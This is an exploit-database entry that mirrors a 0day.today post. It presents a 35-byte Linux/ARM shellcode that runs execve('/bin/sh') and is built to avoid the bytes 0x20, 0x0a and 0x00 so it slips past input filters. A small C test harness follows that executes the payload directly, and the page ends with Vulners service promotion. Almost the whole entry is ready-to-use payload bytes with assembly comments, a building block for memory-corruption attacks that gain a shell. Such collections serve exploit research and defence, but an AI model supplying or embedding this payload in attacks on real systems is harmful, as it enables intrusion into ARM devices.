Lucene search
K

Linux/ARM - execve (/bin/sh, [], [0 vars]) Shellcode (35 bytes)

🗓️ 12 Jan 2018 00:00:00Reported by gunslinger_Type 
zdt
 zdt
🔗 0day.today👁 18 Views

Linux/ARM Hardcoded Shellcode without 0x20, 0x0a, and 0x00 - 35 byte

Code
/* 
    Title       : Linux/ARM - execve("/bin/sh", [], [0 vars]) - 35 bytes
    Date        : 2013-09-04
    Author      : gunslinger_ (yuda at cr0security dot com)
    Tested on   : ARM1176 rev6 (v6l)
     
    An ARM Hardcoded Shellcode without 0x20, 0x0a, and 0x00.
     
    Cr0security.com
     
*/
#include <stdio.h>
 
char *shellcode = "\x01\x60\x8f\xe2"    // add     r6, pc, #1
                  "\x16\xff\x2f\xe1"    // add     bx      r6
                  "\x40\x40"            // eors    r0, r0
                  "\x78\x44"            // add     r0, pc
                  "\x0c\x30"            // adds    r0, #12
                  "\x49\x40"            // eors    r1, r1
                  "\x52\x40"            // eors    r2, r2
                  "\x0b\x27"            // movs    r7, #11
                  "\x01\xdf"            // svc     1
                  "\x01\x27"            // movs    r7, #1
                  "\x01\xdf"            // svc     1
                  "\x2f\x2f"            // .short  0x2f2f
                  "\x62\x69\x6e\x2f"    // .word   0x2f6e6962
                  "\x2f\x73"            // .short  0x732f
                  "\x68";               // .byte   0x68
 
int main(){
    fprintf(stdout,"Shellcode length: %d\n", strlen(shellcode));
    (*(void(*)()) shellcode)();
    return 0;
}

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

12 Jan 2018 00:00Current
7.4High risk
Vulners AI Score7.4
18